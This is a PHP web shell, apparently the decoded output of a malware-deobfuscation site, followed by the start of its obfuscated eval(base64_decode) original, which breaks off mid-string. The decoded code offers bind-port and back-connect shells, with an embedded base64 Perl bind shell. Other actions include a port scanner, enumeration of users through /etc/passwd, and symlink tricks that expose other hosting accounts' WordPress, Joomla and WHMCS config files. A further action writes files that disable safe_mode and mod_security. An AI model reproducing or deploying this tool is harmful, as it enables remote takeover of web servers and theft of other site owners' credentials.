$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo '<h1>Network tools</h1><div class=content>
<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
<br /><span>Bind port to /bin/sh</span><br/>
Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Tea\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
</form>
<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
<br /><br /><span>Back-connect to</span><br/>
Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
</form><br>';
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w=@fopen($f,"w") or @function_exists('file_put_contents');
if($w) {
@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpc') {
cf("/tmp/bp.c",$bind_port_c);
$out = ex("gcc -o /tmp/bp /tmp/bp.c");
@unlink("/tmp/bp.c");
$out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
}
if($_POST['p1'] == 'bcc') {
cf("/tmp/bc.c",$back_connect_c);
$out = ex("gcc -o /tmp/bc /tmp/bc.c");
@unlink("/tmp/bc.c");
$out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
}
}
echo '</div>';
printFooter();
}
function actionPortScanner() {
printHeader();
echo '<h1>Port Scanner</h1>';
echo '<div class="content">';
echo '<form action="" method="post">';
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
} else {
echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
<input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
Host: <input type="text" name="host" value="localhost"/><br /><br />
Port start: <input type="text" name="start" value="0"/><br /><br />
Port end:<input type="text" name="end" value="5000"/><br /><br />
<input type="submit" value="Scan Ports" />
</form></center><br /><br />';
}
echo '</div>';
printFooter();
}
function actionReadable() {
printHeader();
echo '<h1>Readable Dirs</h1>';
echo '<div class="content">';
$sm = ini_get('safe_mode');
if($sm) {
echo '<br /><b>Error: safe_mode = on</b><br /><br />';
} else {
@$passwd = fopen('/etc/passwd','r');
if (!$passwd) {
echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
} else {
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd)) {
$str = fgets($passwd);
if ($i > 35) {
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = '/home/'.$username.'/public_html/';
if (($username != '')) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($pub,$dirz);
}
}
}
$i++;
}
echo '<br><br>';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /><br /><br />";
foreach ($users as $user) {
$path = "/home/$user/public_html/";
echo $path."<br>";
}
echo "<br /><br /><br />[+] Complete...
"."<br />";
}
}
echo '</div>';
printFooter();
}
function actionSymlink() {
printHeader();
echo '<h1>Symlink</h1>';
$furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$expld = explode('/',$furl );
$burl =str_replace(end($expld),'',$furl);
echo '<div class="content"><center>
<h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
[ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] -
[ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
if(isset($_POST['p1']) && $_POST['p1']=='website')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){
echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
$unk = array();
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$unk[] = $domains[1][0];
flush();
}
}
}
$count=1;
$unk = array_unique($unk);
$l=0;
foreach($unk as $d){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
flush();
$count++;
$l=$l?0:1;
}
echo "</table>";
}
echo "</center>";
}
if(isset($_POST['p1']) && $_POST['p1']=='whole')
{
echo "<center>";
@mkdir('sym',0777);
$hdt = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp =@fopen ('sym/.htaccess','w');
fwrite($hfp ,$hdt);
if(function_exists('symlink')) {
@symlink('/','sym/root');
}
$d0mains = @file('/etc/named.conf');
if(!$d0mains) {
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
$count=1;
$mck = array();
foreach($d0mains as $d0main){
if(@eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $domain[1][0];
}
}
}
$mck = array_unique($mck);
$l=0;
foreach($mck as $d) {
$user = posix_getpwuid(@fileowner('/etc/valiases/'.$d));
$ddt = $user['name'];
//@symlink('/','sym/root');
$ddt = $d;
if(@eregi("\.ir",$d) or @eregi("\.il",$d)) {
$ddt = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$d.'</div>';
}
echo "<tr".($l?' class=l1':'')."><td>".$count++."</td><td><a target='_blank' href=http://".$d.'/>'.$ddt.' </a></td><td>'.$user['name']."</td><td><a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td></tr>";
flush();
$l=$l?0:1;
}
echo '</table>';
}
echo "</center>";
}
if(isset($_POST['p1']) && $_POST['p1']=='config')
{
echo "<center>";
@mkdir('sym',0777);
$hdt = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp = @fopen ('sym/.htaccess','w');
@fwrite($hfp ,$hdt);
if(function_exists('symlink')) {
@symlink('/','sym/root');
}
$d0mains = @file('/etc/named.conf');
if(!$d0mains) {
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
$count = 1;
$l=0;
foreach($d0mains as $d0main){
if(@eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0]))>2){
$user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
$c1 = $burl.'/sym/root/home/'.$user['name'].'/public_html/wp-config.php';
$ch01 = get_headers($c1);
$cf01 = $ch01[0];
$c2 = $burl.'/sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
$ch02 = get_headers($c2);
$cf02 = $ch02[0];
$c3 = $burl.'/sym/root/home/'.$user['name'].'/public_html/configuration.php';
$ch03 = get_headers($c3);
$cf03 = $ch03[0];
$c4 = $burl.'/sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
$ch04 = get_headers($c4);
$cf04 = $ch04[0];
$c5 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/config.php';
$ch05 = get_headers($c5);
$cf05 = $ch05[0];
$c6 = $burl.'/sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
$ch06 = get_headers($c6);
$cf06 = $ch06[0];
$c7 = $burl.'/sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
$ch07 = get_headers($c7);
$cf07 = $ch07[0];
$c8 = $burl.'/sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
$ch08 = get_headers($c8);
$cf08 = $ch08[0];
$c9 = $burl.'/sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
$ch09 = get_headers($c9);
$cf09 = $ch09[0];
$c10 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
$ch10 = get_headers($c10);
$cf10 = $ch10[0];
$c11 = $burl.'/sym/root/home/'.$user['name'].'/public_html/submitticket.php';
$ch11 = get_headers($c11);
$cf11 = $ch11[0];
$c12 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
$ch12 = get_headers($c12);
$cf12 = $ch12[0];
$c13 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
$ch13 = get_headers($c13);
$cf13 = $ch13[0];
$c14 = $burl.'/sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
$ch14 = get_headers($c14);
$cf14 = $ch14[0];
$c15 = $burl.'/sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
$ch15 = get_headers($c15);
$cf15 = $ch15[0];
$out = ' ';
if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
else {
continue;
}
echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
flush();
$l=$l?0:1;
}
}
}
echo "</table>";
}
echo "</center>";
}
echo "</div>";
printFooter();
}
function actionBypass() {
printHeader();
echo '<h1>Safe Mode</h1>';
echo '<div class="content">';
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
if(!empty($_POST['p2']) && isset($_POST['p2']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>');
fclose($fil);
}
if(!empty($_POST['p1'])&& isset($_POST['p1']))
{
$fil=fopen($GLOBALS['cwd']."php.ini","w");
fwrite($fil,'safe_mode=OFF
disable_functions=NONE');
fclose($fil);
}
if(!empty($_POST['p3']) && isset($_POST['p3']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl');
fclose($fil);
}
echo "<br><br /><br /></div>";
echo '</div>';
printFooter();
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
Did this file decode correctly?
Original Code
<?php
echo eval(base64_decode('JGF1dGhfcGFzcyA9ICIyMGQ5MWNlZGIzYWI0ZmYxMGMyODJkMmJhZTU3YTY5NyI7CiRjb2xvciA9ICIjNjZiZGU1IjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsKQGRlZmluZSgnU0VMRl9QQVRIJywgX19GSUxFX18pOwppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgewogICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CiAgICBleGl0Owp9CkBzZXNzaW9uX3N0YXJ0KCk7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBkZWZpbmUoJ1ZFUlNJT04nLCAnVmVyIDIuMCcpOwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsKICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsKICAgICAgICByZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnc3RyaXBzbGFzaGVzX2FycmF5JywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOwogICAgfQogICAgJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7Cn0KZnVuY3Rpb24gcHJpbnRMb2dpbigpIHsKICAgIGVjaG8gJzxoMT5Ob3QgRm91bmQ8L2gxPgogICAgICAgICAgPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+CiAgICAgICAgICA8aHI+CiAgICAgICAgICA8YWRkcmVzcz5BcGFjaGUgU2VydmVyIGF0ICcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicgUG9ydCA4MDwvYWRkcmVzcz4KICAgICAgICAgIDxzdHlsZT5pbnB1dCB7IG1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7IH08L3N0eWxlPgogICAgICAgICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PC9mb3JtPjwvY2VudGVyPic7CiAgICBleGl0Owp9CmlmKCAhaXNzZXQoICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkKICAgIGlmKCBlbXB0eSggJGF1dGhfcGFzcyApIHx8CiAgICAgICAgKCBpc3NldCggJF9QT1NUWydwYXNzJ10gKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcyApICkgKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOwogICAgZWxzZQogICAgICAgIHByaW50TG9naW4oKTsKCmlmKCBzdHJ0b2xvd2VyKCBzdWJzdHIoUEhQX09TLDAsMykgKSA9PSAid2luIiApCiAgICAkb3MgPSAnd2luJzsKZWxzZQogICAgJG9zID0gJ25peCc7CiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7CmlmKCBpc3NldCggJF9QT1NUWydjJ10gKSApCiAgICBAY2hkaXIoJF9QT1NUWydjJ10pOwokY3dkID0gQGdldGN3ZCgpOwppZiggJG9zID09ICd3aW4nKSB7CiAgICAkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkKICAgICRjd2QgLj0gJy8nOwogICAgCmlmKCRvcyA9PSAnd2luJykgewogICAgJGFsaWFzZXMgPSBhcnJheSgKICAgICAgICAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAogICAgICAgICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLAogICAgICAgICJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLAogICAgICAgICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwKICAgICAgICAiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKICAgICAgICAiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwKICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCiAgICAgICAgIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCiAgICAgICAgIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgogICAgKTsKfSBlbHNlIHsKICAgICRhbGlhc2VzID0gYXJyYXkoCiAgICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGEiLAogICAgICAgICJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLAogICAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsCiAgICAgICAgIkZpbmQiID0+ICIiLAogICAgICAgICAgImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgICAgICAgICAiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgICAgICAgICAiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwKICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogICAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAgICAgICAgICJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogICAgICAgICAgImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgICAgICAgICAiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogICAgICAgICAgImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAgICAgICAgICJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAgICAgICAgICJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogICAgICAgICAgImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAgICAgICAiTG9jYXRlIiA9PiAiIiwKICAgICAgICAgICJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwKICAgICAgICAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwKICAgICAgICAibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLAogICAgICAgICJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLAogICAgICAgICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwKICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsCiAgICAgICAgImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLAogICAgICAgICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLAogICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLAogICAgICAgICJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLAogICAgICAgICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLAogICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwKICAgICAgICAibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwKICAgICAgICAibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLAogICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwKICAgICAgICAibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLAogICAgICAgICJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwKICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIgICAgCiAgICApOwp9CgpmdW5jdGlvbiBleCgkaW4pIHsKICAgICRvdXQgPSAnJzsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgQGV4ZWMoJGluLCRvdXQpOwogICAgICAgICRvdXQgPSBAam9pbigiXG4iLCRvdXQpOwogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkaW4pOwogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgQHN5c3RlbSgkaW4pOwogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOwogICAgfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKICAgICAgICAkb3V0ID0gIiI7CiAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkKICAgIC